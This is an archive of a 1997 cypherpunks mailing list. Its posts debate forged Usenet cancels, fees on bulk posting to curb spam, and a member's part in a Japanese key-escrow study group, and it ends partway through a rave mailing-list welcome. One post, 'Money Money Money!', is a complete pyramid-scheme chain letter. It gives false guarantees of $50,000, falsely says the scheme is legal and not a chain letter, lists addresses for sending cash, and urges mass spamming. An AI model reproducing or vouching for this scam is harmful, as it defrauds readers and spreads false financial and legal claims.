-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 2 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> Please examine Net.Scum web pages for the self-appointed censors like
> Tim Brown (http://www.netscum.net/brownt0.html)

Tim Brown is clearly rouge I don't think he has any allies I do not
think he has support from the mainstream cancelers.

[...]

> Here's one counterexample. Yes, it's in the regional relcom.* hierarchy.

You know very well that regionals are not part of UseNet.  You would have
to bring that up with the admins within the relcom.* hierarchy.

> Yes, there are lots of folks who forge cancels for "inappropriate 
> cross-posts" in the "big 8".

The standard of everdence is lower then normal for that last stament.
Please supply everdence.

[...]

> And now some friends of Tim are forging cancels for any traffic originating
> from UUNet,

We are undermineing UUNets atemp to gain a monopoly on newsgroups. :D

> irrespective of contents,

Thats what content free canceling is noramly about.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

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/CmX+1MS9iyzS8rFbqS2UrZ1vKFs7ycE7oOl0jKY2qAADEtn2u6iBkLLTBb0KJGH
D++k0bnpD7A=
=yl1f
-----END PGP SIGNATURE-----

From apache at bear.apana.org.au  Sat Aug  2 22:59:29 1997
From: apache at bear.apana.org.au (Charles)
Date: Sun, 3 Aug 1997 13:59:29 +0800
Subject: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: 
Message-ID: <199708030552.PAA05934@bear.apana.org.au>

   ? the Platypus {aka David Formosa} said:

>The best soultion given so far is Cause's suggestion of modifying the fax
>law so that we can sue the spammers.

Thus giving gubmints the toe in the door they are so desperately looking 
for to regulate/license/control the online world.

The first thing you would see after passing such a law (if indeed the 
original legislation itself didn't contain the provision) would be a 
requirement for identification of all accounts and account holders. 
Anonymous email and anonymous remailers would be the first victims.

Then there would be a license fee introduced to cover the costs of such a 
system (internet drivers license?), followed by calls for censorship 
which would now have much greater pseudo legitimacy. This would be only 
the crest of a very big wave. 

Spam is conveniently dealt with using procmail and other filtering tools. 
Admins generally will deal swiftly with denial of service attacks.

I'm having a problem with leaves from the neighbours trees blowing onto 
my front lawn. I think the government should DO SOMETHING.

From dformosa at st.nepean.uws.edu.au  Sat Aug  2 23:05:58 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Sun, 3 Aug 1997 14:05:58 +0800
Subject: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: 
Message-ID: 

-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 2 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

[...]

> I'm sorry, I don't see how posting megabytes of noise every day can
> swamp the content.

You don't recall the poetry feastavil?  What about the sex groups for the
less popular fetishes?

> Moreover, if such actions were indeed cause a problem, they would not be 
> eliminated with payments. Some people would be willing to spend money to
> "flood" the net 

Here we aggry, porn4pron and others will still make a proffet from
spamming.  Infact puting a cost to posting creates a biase aggainst
unpopulare options and towards spam.  Indeed such a payment system would
make the problem worce.

> Instead of discouraging the behavior you don't like, encourage the
> behavior you do like.

[Nods]  The good old blow job prinisipul.

> I invite Adam and David to subscribe to the freedom-knights mailing list
> (send 'subscribe freedom-knights at jetcafe.org' to majordomo at jetcafe.org)
> if you want to continue this not-quite-crypto discussion there.

I have attempted to do so in the past,  and will attempt to do so again.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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From dformosa at st.nepean.uws.edu.au  Sat Aug  2 23:18:54 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Sun, 3 Aug 1997 14:18:54 +0800
Subject: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: 
Message-ID: 

-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 2 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

[...]

> A compression scheme where many copies of the same text would be transmitted
> only once even if they're posted once would be an excellent thing

I beleave that uucp feeds can do things like this.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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From dformosa at st.nepean.uws.edu.au  Sat Aug  2 23:22:40 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Sun, 3 Aug 1997 14:22:40 +0800
Subject: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: 
Message-ID: 

-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 2 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> Tim Skirvin  writes:

[...]

> > 	Many spam cancellers are news admins.  Most of the major ones are
> > admins, in fact - Chris Lewis, JEM, etc.
> 
> You're splitting hairs.  One very unpleasant cancel-forger, Jan Isley,
> was the admin of a site where he was also the sole user.

[...]

> Well, the third parties got complaints anyway and pulled jan's plug in
> no time. :-)

It is clear from this example that he was not a mainstream spam canceler.

> For the archetypal "spam canceller", please examine Tim Brown's

Tim Brown is not a spam canceller.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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From mailhost.iamerica.net at iAmerica.net  Sat Aug  2 23:26:16 1997
From: mailhost.iamerica.net at iAmerica.net (tgolf)
Date: Sun, 3 Aug 1997 14:26:16 +0800
Subject: Money Money Money!
Message-ID: <18161.235645.04703495 cypherpunks@toad.com>

You are about to make at least $50,000 - In less than 90 days Read the
enclosed program...THEN READ IT AGAIN!...
<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>

The following income opportunity is one you may be interested in 
taking a look at.  It can be started with VERY MINIMAL outlay and the income
return is TREMENDOUS!

<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>

The enclosed information is something I almost let slip through my fingers.
Fortunately, sometime later I re-read everything and gave some thought and
study to it.

My name is Christopher Erickson.  Two years ago, the corporation I worked at
for the past twelve years down-sized and my position was eliminated.  After
unproductive job interviews,  I decided to open my own business.  Over the
past year, I incurred many unforeseen financial problems.  I owed my family,
friends, and creditors over $35,000.  The economy was taking a toll on my
business and I just couldn't seem to make ends meet.  I had to refinance and
borrow against my home to support my family and struggling business.  I
truly believe it was wrong for me to be in debt like this.  AT THAT MOMENT
something significant happened in my life and I am writing to share my
experience in hopes that this will change your life FOREVER....FINANCIALLY!!!

In mid-December, I received this program via email.  Six months prior to
receiving this program I had been sending away for information on various
business opportunities.  All of the programs I received, in my opinion, were
not cost effective.  They were either too difficult for me to comprehend or
the initial investment was too much for me to risk to see if they worked or
not.  One claimed I'd make a million dollars in one year...it didn't tell me
I'd have to write a book to make it.

But like I was saying, in December of '95 I received this program.  I didn't
send for it, or ask for it, they just got my name off a mailing list.  THANK
GOODNESS FOR THAT!!!  After reading it several times, to make sure I was
reading it correctly, I couldn't believe my eyes.  
Here was a MONEY-MAKING PHENOMENON.  I could invest as much as I wanted to
start, without putting me further in debt.  After I got a pencil and paper
and figured it out, I would at least get my money back.  After determining
that the program is LEGAL and NOT A CHAIN LETTER, I decided "WHY NOT".

Initially I sent out 10,000 emails.  It only cost me about $15.00 for my
time on-line.  The great thing about email is that I didn't need any money
for printing to send out the program, only the cost to fulfill my orders.  I
am telling you like it is, I hope it doesn't turn you off, but I promised
myself that I would not "rip-off" anyone, no matter 
how much money it cost me!

A good program to help do this is Ready Aim Fire, an email extracting and
mass mail program 
@ http://microsyssolutions.com/raf/

In less than one week, I was starting to receive orders for REPORT #1. By
January 13th, I had received 26 orders for REPORT #1.  When you read the
GUARANTEE in the program, you will see that "YOU MUST RECEIVE 15 TO 20
ORDERS FOR REPORT #1 WITHIN TWO WEEKS.  IF YOU DON'T,  SEND OUT MORE
PROGRAMS UNTIL YOU DO!"  My first step in making $50,000 in 20 to 90 days
was done.  By January 30th, I had received 196 orders for REPORT #2.  If you
go back to the GUARANTEE, "YOU MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2
WITHIN TWO WEEKS.  IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO.  ONCE YOU
HAVE 100 ORDERS, THE REST IS EASY, RELAX, YOU WILL MAKE YOUR $50,000 GOAL."
Well, I had 196 orders for REPORT #2, 96 more than I needed.  So I sat back
and relaxed.  By March 19th, of my emailing of 10,000, I received $58,000
with more coming in every day.

I paid off  ALL my debts and bought a much needed new car.  Please take time
to read the attached program, IT WILL CHANGE YOUR LIFE FOREVER!
Remember,  it wont work  if you don't try it.  This program does work, but
you must follow it EXACTLY!  Especially the rules of not trying to place
your name in a different place.  It doesn't work, you'll lose out on a  lot
of  money!  REPORT  #2  explains this.  Always follow the guarantee, 15 to
20  orders  for REPORT #1, and 100 or more orders for REPORT #2 and you will
make  $50,000 or more in 20 to 90 days.  I AM LIVING PROOF THAT IT WORKS !!!

If you choose not to participate in this program, I'm sorry.  It really is a
great opportunity with little cost or risk to you.  If you choose to
participate, follow the program and you will be on your way to financial
security.

If you are a fellow business owner and you are in financial trouble like I
was, or you want to start your own business, consider this a sign.  I DID!

PS  Do you have any idea what 11,700 $5 bills ($58,000) look like piled up
on a kitchen table? IT'S AWESOME!

"I THREW IT AWAY"
"I  had  received  this program before.  I  threw  it away, but later
wondered if I shouldn't have given it a try.  Of course, I had no idea who
to contact to get a copy, so I had to wait until I was emailed another copy
of the program.  Eleven months passed, then it came.  I DIDN'T throw this
one away.  I made $41,000 on the first try."

					Dawn W., Evansville, IN

"NO FREE LUNCH"
"My late father always told me, 'remember, Alan, there is no free lunch in
life.  You get out of life what you put into it.'  Through trial  and error
and a somewhat slow frustrating start, I finally figured it out. The program
works very well, I just had to find the right target group of people to
email it to.  So far this year, I have made over $63,000 using this program.
I know my dad would have been very proud of me."

					Alan B., Philadelphia, PA

A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM

By the time you have read the enclosed information and looked over the
enclosed program and reports, you should have concluded that such a program,
and  one that is legal,  could not have been created by an amateur.
Let me tell you a little about myself.  I had a profitable business for ten
years.  Then in 1979 my business began falling off.  I was doing the same
things that were previously successful for me, but it wasn't working.
Finally, I figured it out.  It wasn't me, it was the economy. Inflation and
recession had replaced the stable economy that had been with us since 1945.
I don't have to tell you what happened to the unemployment rate...because
many of you know from first hand  experience. There were more failures and
bankruptcies than ever before.

The middle class was vanishing.  Those who knew what they were doing
invested wisely and moved up.  Those who did not, including those who never
had anything to save or invest, were moving down into the ranks of the poor.
As the saying goes, "THE RICH GET RICHER AND THE POOR  GET POORER."  The
traditional methods of making money will never allow you to "move up" or
"get rich", inflation will see to that.
You have just received information that can give you financial freedom for
the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF EFFORT."
You can make more money in the next few months than you have ever imagined.

I should also point out that I will not see a penny of your money, nor
anyone else who has provided a testimonial for this program.  I have already
made over FOUR MILLION DOLLARS!  I have retired from the program after
sending out over 16,000 programs.  Now I have several offices which market
this and several other programs here in the US and overseas.  By the Spring,
we wish to market the 'Internet' by a partnership with AMERICA ON LINE.

Follow the program EXACTLY AS INSTRUCTED.  Do not change it in any way.
It works exceedingly well as it is now.  Remember to email a copy of this
exciting program to everyone that you can think of.  One of the people you
send this to may send out 50,000...and your name will be on every one of
them!.  Remember though, the more you send out, the more potential customers
you will reach.

So my friend, I have given you the ideas, information, materials and
opportunity to become financially independent, IT IS UP TO YOU NOW!

"THINK ABOUT IT"

Before you delete this program from your mailbox, as I almost did, take a
little time to read it and REALLY THINK ABOUT IT.  Get a pencil and figure
out what could happen when YOU participate.  Figure out the worst possible
response and no matter how you calculate it, you will still make a lot of
money!  Definitely get back what you invested.  
Any doubts you have will vanish when your first orders come in.  IT WORKS!

					Paul Johnson, Raleigh, NC

HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$

Let's say that you decide to start small, just to see how it goes, and we'll
assume you and all those involved send out 2,000 programs each. Let's also
assume that the mailing receives a .5% response.  Using a good list the
response could be much better.  Also many people will send out hundreds of
thousands of programs instead of 2,000.  But continuing with this example,
you send out only 2,000 programs.  With a 5% response, that is only 10
orders for REPORT #1.  Those 10 people respond by sending out 2,000 programs
each for a total of 20,000.  
Out of those .5%, 100 people respond and order REPORT #2.  Those 100 mail
out 2,000 programs each for a total of 200,000.  The .5% response to that is
1,000 orders for REPORT #3.  Those 1,000 send out 2,000 programs each for a
2,000,000 total.  The .5% response to that is 10,000 orders for REPORT #4.
That's 10,000 five dollar bills for you. CASH!!!!  Your total income in this
example is $50 + $500 + $5000 +$50,000 for a total of $55,550!!!!

REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU MAIL TO WILL
DO ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM!  DARE TO THINK FOR A MOMENT
WHAT WOULD HAPPEN IF EVERYONE  OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF
ONLY 2,000.  
Believe me, many people will do that and more!  By the way, your cost to
participate in this is practically nothing.  You obviously already have an
internet connection and email is FREE!!!  REPORT #3 will show you the best
methods for bulk emailing and purchasing email lists.

THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY.  It does not require
you to come in contact with people, do any hard work, and best of all, you
never have to leave the house except to get the mail.  If you believe that
someday you'll get that big break that you've been waiting for, THIS IS IT!
Simply follow the instructions, and your dream will come true.  This
multi-level email order marketing program works perfectly...100% EVERY TIME.
Email is the sales tool of the future.  Take advantage of this
non-commercialized method of advertising NOW!!  The longer you wait, the
more people will be doing business using email.  Get your piece of this action!!

MULTI-LEVEL MARKETING (MLM) has finally gained respectability.  It is being
taught in the Harvard Business School, and both Stanford Research and The
Wall Street Journal have stated that between 50% and 65% of all goods and
services will be sold throughout Multi-level Methods by the mid to late
1990's.  This is a Multi-Billion Dollar industry and of the 500,000
millionaires in the US, 20% (100,000) made their fortune in the last several
years in MLM.  Moreover, statistics show 45 people become millionaires
everyday through Multi-Level Marketing.

INSTRUCTIONS

We at Erris Mail Order Marketing Business, have a method of raising capital
that REALLY WORKS 100% EVERY TIME.  I am sure that you could use $50,000 to
$125,000 in the next 20 to 90 days.  Before you say "Bull", please read the
program carefully.

This is not a chain letter, but a perfectly legal money making opportunity.
Basically, this is what we do:  As with all multi-level business, we build
our business by recruiting new partners and selling our products.  Every
state in the USA allows you to recruit new multi-level business partners,
and we offer a product for EVERY dollar sent. YOUR ORDERS COME AND ARE
FILLED THROUGH THE MAIL, so you are not involved in personal selling.  You
do it privately in your own home, store or office.

This is the GREATEST Multi-level Mail Order Marketing anywhere:

Step (1)   Order all four 4 REPORTS listed by NAME AND NUMBER.  Do this by
ordering the REPORT from each of the four 4 names listed on the next page.
For each REPORT, send $5 CASH and a SELF-ADDRESSED, STAMPED envelope
(BUSINESS SIZE #10) to the person listed for the SPECIFIC REPORT.
International orders should also include $1 extra for postage.  It is
essential  that you specify the NAME and NUMBER of the report requested to
the person you are ordering from.  You will need ALL FOUR (4) REPORTS
because you will be REPRINTING and RESELLING them.
           DO NOT alter the names or sequence other than what the
instructions say.  IMPORTANT:  Always provide same-day service on all orders.

Step (2)   Replace  the  name  and  address  under  REPORT #1  with yours,
moving the one that was there down to REPORT #2.           Drop  the  name
and address under REPORT #2 to REPORT #3, moving the one that was there to
REPORT #4.  The name and           address that was under REPORT #4 is
dropped from the list and this party  is  no doubt on the way to the bank.
When doing this, make certain you type the names and addresses ACCURATELY!
DO NOT MIX UP MOVING PRODUCT/REPORT  POSITIONS!!!

Step (3)   Having made the required changes in the NAME list, save it as a
text (.txt) file in it's own directory to be used with whatever email
program you like. Again, REPORT #3 will tell you the best methods of bulk
emailing and acquiring email lists. Step (4)   Email a copy of the entire
program (all of this is very important) to everyone whose address you can
get your hands on. Start with friends and relatives since you can encourage
them to take advantage of this  fabulous  money-making opportunity. that's
what I did.  And they love me now, more than ever. Then, email to anyone and
everyone!  Use your imagination! You can get email addresses from companies
on the internet who specialize in email mailing lists.  These are very
cheap, 100,000 addresses for around $35.00.

IMPORTANT:  You won't get a good response if you use an old list, so always
request a FRESH, NEW list. You will find out where to purchase these lists
when you order the four 4 REPORTS.

ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!

REQUIRED REPORTS

***Order each REPORT by NUMBER and NAME***

ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 CASH FOR EACH ORDER REQUESTING THE
SPECIFIC REPORT BY NAME AND NUMBER
________________________________________________________
REPORT #1
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #1 FROM:

TGOLF
P O Box 1735
TIOGA, LA. 71477

________________________________________________________
REPORT #2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

ORDER REPORT #2 FROM:

D&S ENTERPRISES
BOX 158
ROCKFORD, IL 61105
________________________________________________________
REPORT #3
"SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT #3 FROM:

WTM ENTERPRISES
6985 S. LEWIS AVE
TULSA, OK 74136
________________________________________________________
REPORT #4
"EVALUATING MULTI-LEVEL SALES PLANS"

ORDER REPORT #4 FROM:

OPM
RT 2 BOX 396A
JENKS, OK 74037
_______________________________________________________

CONCLUSION

.I am enjoying my fortune that I made by sending out this program. You too,
will be making money in 20 to 90 days, if you follow the SIMPLE STEPS
outlined in this mailing.

To be financially independent is to be FREE.  Free to make financial
decisions as never before.  Go into business, get into investments, retire
or take a vacation.  No longer will a lack of money hold you back.

However, very few people reach financial independence, because when
opportunity knocks, they choose to ignore it.  It is much easier to say "NO"
than "YES", and this is the question that you must answer.  Will YOU ignore
this amazing opportunity or will you take advantage of it? If you do
nothing, you have indeed missed something and nothing will change.  Please
re-read this material, this is a special opportunity. If you have any
questions, please feel free to write to the sender of this information.  You
will get a prompt and informative reply.

My method is simple.  I sell thousands of people a product for $5 that costs
me pennies to produce and email.  I should also point out that this program
is legal and everyone who participates WILL make money. This is not a chain
letter or pyramid scam.  At times you have probably received chain letters,
asking you to send money, on faith, but getting NOTHING in return, NO
product what-so-ever!  Not only are chain letters illegal, but the risk of
someone breaking the chain makes them quite unattractive.

You are offering a legitimate product to your people.  After they purchase
the product from you, they reproduce more and resell them. It's simple free
enterprise.  As you learned from the enclosed  material, the PRODUCT is a
series of four 4 FINANCIAL AND BUSINESS REPORTS.  
The information contained in these REPORTS will not only help you in making
your participation in this program more rewarding, but will be useful to you
in any other business decisions you make in the years ahead. You are also
buying the rights to reprint all of the REPORTS, which will be ordered from
you by those to whom you mail this program.  The concise one and two page
REPORTS you will be buying can easily be reproduced at a local copy center
for a cost off about 3 cents a copy.
Best wishes with the program and Good Luck!

"IT WAS TRULY AMAZING"

"Not being the gambling type, it took me several weeks to make up my mind to
participate in this program.  But conservative as I am, I decided that the
initial investment was so little that there was no way that I could not get
enough orders to at least get my money back.  BOY, was I ever surprised when
I found my medium sized post office box crammed with orders!  I will make
more money this year than any ten years of my life before."

					Mary Riceland, Lansing, MI

TIPS FOR SUCCESS

Send for your four 4 REPORTS immediately so you will have them when the
orders start coming in.  When you receive a $5 order, you MUST send out the
product/service to comply with US Postal and Lottery laws.  Title 18
Sections 1302 and 1341 specifically state that:  "A PRODUCT OR SERVICE MUST
BE EXCHANGED FOR MONEY RECEIVED."

WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:

1.	Name your new company. You can use your own name if you desire.

2.	Get a post office box (preferred).

3.	Edit the names and addresses on the program. You must remember,
your name and address go next to REPORT #1 and the others all        move
down one, with the fourth one being bumped OFF the list.

4.	Obtain as many email addresses as possible to send until you
receive the information on mailing list companies in REPORT #3.

5.	Decide on the number of programs you intend to send out.  The more you
send, and the quicker you send them, the more money  you will make.

6.	After mailing the programs, get ready to fill the orders.

7.	Copy the four 4 REPORTS so you are able to sent them out as  soon as you
receive an order. IMPORTANT: ALWAYS PROVIDE    SAME-DAY SERVICE ON ORDERS
YOU RECEIVE!

8.	Make certain the letter and reports are neat and legible.

YOUR GUARANTEE

The check point which GUARANTEES your success is simply this:  you must
receive 15 to 20 orders for REPORT #1.  This is a must!!!  If you don't
within two weeks, email out more programs until you do.  Then a couple of
weeks later you should receive at least 100 orders for REPORT #2, if you
don't, send out more programs until you do.  Once you have received 100 or
more orders for REPORT #2, (take a deep breath) you can sit back and  relax,
because  YOU  ARE  GOING TO  MAKE  AT  LEAST  $50,000. Mathematically  it
is  a  proven  guarantee.   Of  those  who  have participated in the program
and reached the above GUARANTEES-ALL have reached their $50,000 goal.  Also,
remember, every time your name is moved down the list you are in front of a
different REPORT, so you can keep track of your program by knowing what
people are ordering from you.
IT'S THAT EASY, REALLY, IT IS!!!

REMEMBER:
"HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING."
"INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR
SEARCH FOR IT FOR THE REST OF YOUR LIFE."

From dformosa at st.nepean.uws.edu.au  Sat Aug  2 23:40:28 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Sun, 3 Aug 1997 14:40:28 +0800
Subject: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <199708030134.CAA13809@server.test.net>
Message-ID: 

-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 3 Aug 1997, Adam Back wrote:

> David Formosa  writes:

[...]

> > The best soultion given so far is Cause's suggestion of modifying
> > the fax law so that we can sue the spammers.
> 
> Law, and suing and the internet don't mix.

You got to be jokeing, what about alomost every AOL vs. Cyberpromo or
Compuserve vs. Cyberpromo or all thouse other ISPs against Cyberpromo.

> Eg. Say I spam you via an anonymous remailer.  So now who are you
> going to sue?

The spammers if there advertising a servese will need someway for me to
contact them.  Some way for me to get the goods.  Just anonomising the
email will not hide there identy.  Any way pushing spammer email though
most email remailers will cause them to crash from sheare volume.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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From dformosa at st.nepean.uws.edu.au  Sat Aug  2 23:46:58 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Sun, 3 Aug 1997 14:46:58 +0800
Subject: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: 
Message-ID: 

-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 2 Aug 1997, Steve Schear wrote:

[...]

> >Naturally, rich, indolent technologists tend to favor schemes that
> >will put them in control. :-)
> 
> I can't fuly agree. In Europe, both communism and fascism started from the
> socialists (in fact, the fascist were called National Socialists)

The fascists called themselves Socialists for the same reson that the
main pro logging group calls themselfs _The Forest Protection Socity_ as a
returorical techneek to sucker peaple.

[...]

> and both accept the "... idea of a political party which embraces all 
> activities of the individual from the cradle to the grave, which claims
> to guide his views on everything, and which delights in making all
> problems questions of party...," F.A. Hayek, The Road to Surfdom.

Replace political party with free market and you get the econmic
reationalisum/thatureisum that has chocked socity.  The freandly socilisum
that both the GNU mannifesto and most of the net works on has no such
totalitarian tendencies.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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From nobody at REPLAY.COM  Sun Aug  3 00:09:29 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sun, 3 Aug 1997 15:09:29 +0800
Subject: Duncan Long on Cypherpunks and Guns
Message-ID: <199708030657.IAA25280@basement.replay.com>

Tim May wrote:
> 
> While looking through Duncan Long's Web pages on survivalism, guns, and
> such, I found this interesting mention of Cypherpunks.
> This particular article is at: http://www.prairienet.org/guns/dlgs/gun3.htm

> --begin excerpt from Duncan Long's article--

> Cypherpunks: Individuals who believe that the government is out to invade
> the privacy of everybody on the planet. The cypherpunk's central
> goal is to out-smart the system. (The encryption program, PGP, is often
> referred to by this group as "the Cypherpunk's best friend").

> Ravers: Folks who use synthesized and sampled music, computer-generated
> psychedelic ("cyberdelic") art, and designer drugs to create
> massive all-night dance parties and love-fests in empty warehouses.

  Damn, I'm on the wrong list...

RaveMonger

From nobody at REPLAY.COM  Sun Aug  3 01:22:26 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sun, 3 Aug 1997 16:22:26 +0800
Subject: Tim Misfires / Re: Joichi Ito as a Junior Policeman
Message-ID: <199708030802.KAA01641@basement.replay.com>

Joichi Ito wrote:
> At 23:46 97/08/01 -0700, Tim May wrote:
> > And why are you helping to write a report that will be the "official
> > position" of the Japanese cops?

> Because, it would be much better to have it say, "we don't want key
> escrow." My position on the study group is much more like making
> a testimony in congress. Unlike the US, once a bill hits the floor,
> it is very hard to participate. I have to participate while it is still
> in the ministry level.

  Tim spends so much time cleaning his guns he sometimes gets a bit
myopic and everything he sees looks like a "target."
  While it is true that the process Joichi Ito is speaking of is still
subject to the failing of those "protesting" becoming bum-buddies with
those they are "protesting against," it is also true that it is more 
like giving opposing Congressional testimony than like joining the
"old boys" at the Whithouse to trade your soul for a few moments of
touching the hem of the King's garment at the seat of power.

> > The JDF is notoriously militaristic. You should reconsider this.

> > And Cypherpunks should be very careful about "advising" an obviously
> > co-opted member of the Japanese military and police establishment.

> Again. If you want to view me as "co-opted" that's fine. Without me,
> you would not have gotten Gilmore, Carl Ellison, or Whit Diffie's voice
> on the record during the study group hearings. Do you think I should
> just sit back and let the KEA's take over?

  It is clearly up to Joichi Ito to decide how he can best work toward
cypherpunk goals under his system of government, but he would do well
to listen to those on the list who have seen more than a few crusaders
sink into the swill when they make the mistake of talking to the piggies
too close to the trough.
  A good sign that you have not yet been co-opted is if you still take
that "extra" briefcase to the meetings, just in case.
{"I've got to run out to my car for a moment with my briefcase, but I
will be leaving my _other_ briefcase here." }

TruthMonger

From sar at cynicism.com  Sun Aug  3 01:37:35 1997
From: sar at cynicism.com (sar)
Date: Sun, 3 Aug 1997 16:37:35 +0800
Subject: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <199708021921.UAA06401@server.test.net>
Message-ID: <3.0.2.32.19970803032004.00818890@box.cynicism.com>

At 06:32 AM 8/3/97 +1000, ? the Platypus {aka David Formosa} wrote:

>-----BEGIN PGP SIGNED MESSAGE-----
>
>On Sat, 2 Aug 1997, Adam Back wrote:
>
>> Next we choose a threshold say 1000 posts per day.  Seems hard to
>> imagine anyone generating manually over 1000 emails per day.  That's
>> more than 1 per minute for a 10 hour day.
>
>I bet this mailing list generates traffic of that order.  I would not wish
>to see legitimite mailing lists shut down to stop the spam.
>
>The best soultion given so far is Cause's suggestion of modifying the fax
>law so that we can sue the spammers.
>
Take bugtraq which has over 12,000 subscribers. Each post to bugtraq would
send out 12,000 emails so it would cost aleph one 1200$ per post to his
list. I dont think anyone would want to run a mailing list under these
sorts of conditions. Or say you run a normaly small mailing list with only
a few subscribers. One evil person could send just a few hundred emails to
you cost you money. The same goes for anon emails. Anyone not wanting to
take the chance of ending up spending $100 or more at the whim of any 14
year old with a copy of upyours or not wanting to have to pay for providing
a free public service would simply give up and shut down his mailinglist.

From nobody at REPLAY.COM  Sun Aug  3 03:02:25 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sun, 3 Aug 1997 18:02:25 +0800
Subject: your LISTSERV request  "subscribe socal-raves-digest"Re: your LISTSERV request  "subscribe socal-raves-digest"
Message-ID: <199708030954.LAA12408@basement.replay.com>

^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~

	Welcome to the Southern California Rave mailing list!

^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~

     Better known as SoCal-Raves, this list is for the discussion of
anything having to do with raves and the underground club/dance scene
in the Southern California area.  This includes the counties of Los
Angeles, Orange, San Diego, Riverside, San Bernardino, and possibly
Ventura and Santa Barbara as well.
     Don't let the broad area scare you.  This list is about the local
scene.  About what is happening near you.  Although rave flyers seem
to think L.A. and San Diego are the only places local DJs are from,
there is quite possibly something going on in your backyard.  And this
is the place to talk about it.

     Appropriate topics include:
       - announcements of upcoming events in the Southern California 
area.
       - reviews of shows/raves/DJs/music/etc.
       - rave-culture like clothes, smart drinks, rave attitude, etc.
       - local radio shows and stations that play rave and techno.
       - where to find the music, clothes, etc.
       - rave picnics and other non-rave rave-related events.
       - how to throw your own rave (and not get busted).
       ...and almost anything else rave related or related to the
          local scene.

     Try not to discuss raves not in the Southern California area or
subjects that don't have anything to do with raves or this area.
Though some discussions of other rave scenes may at times be
appropriate.  And try to keep from getting into flame wars and overly
personal discussions on the list.  Some comments are probably better
kept to personal mail.  Keep in mind that what you are sending to the
list you are sending to everybody.
      Other than that, go for it.  This is your list.  Your scene.
I'm hoping that this list can be a catalyst for helping to improve and
unify the scene in SoCal.  At least we should be able to get that
"community" feeling that so many have trouble finding in the SoCal
rave scene.  And maybe, some day soon, we might even be throwing our
own raves just as the SFRaves list has.

      This list should also be a good place to find out about the
scene in SoCal.  Hopefully soon there will be a calendar list.  In the
mean time please send me any info you have on upcoming raves and I
will compile an upcoming rave calendar and post it to the list once a
week.

      Now for the technical stuff:

      - Any mail sent to socal-raves at ucsd.edu will get sent out to
        everyone who subscribes to the list.

      - socal-raves-request at ucsd.edu should be used to subscribe and
        unsubscribe to the list.  To subscribe you should send a
        message with the line "sub socal-raves" or 
        "sub  socal-raves" in the body of the message,
        not the subject line.  The latter form should be used if you
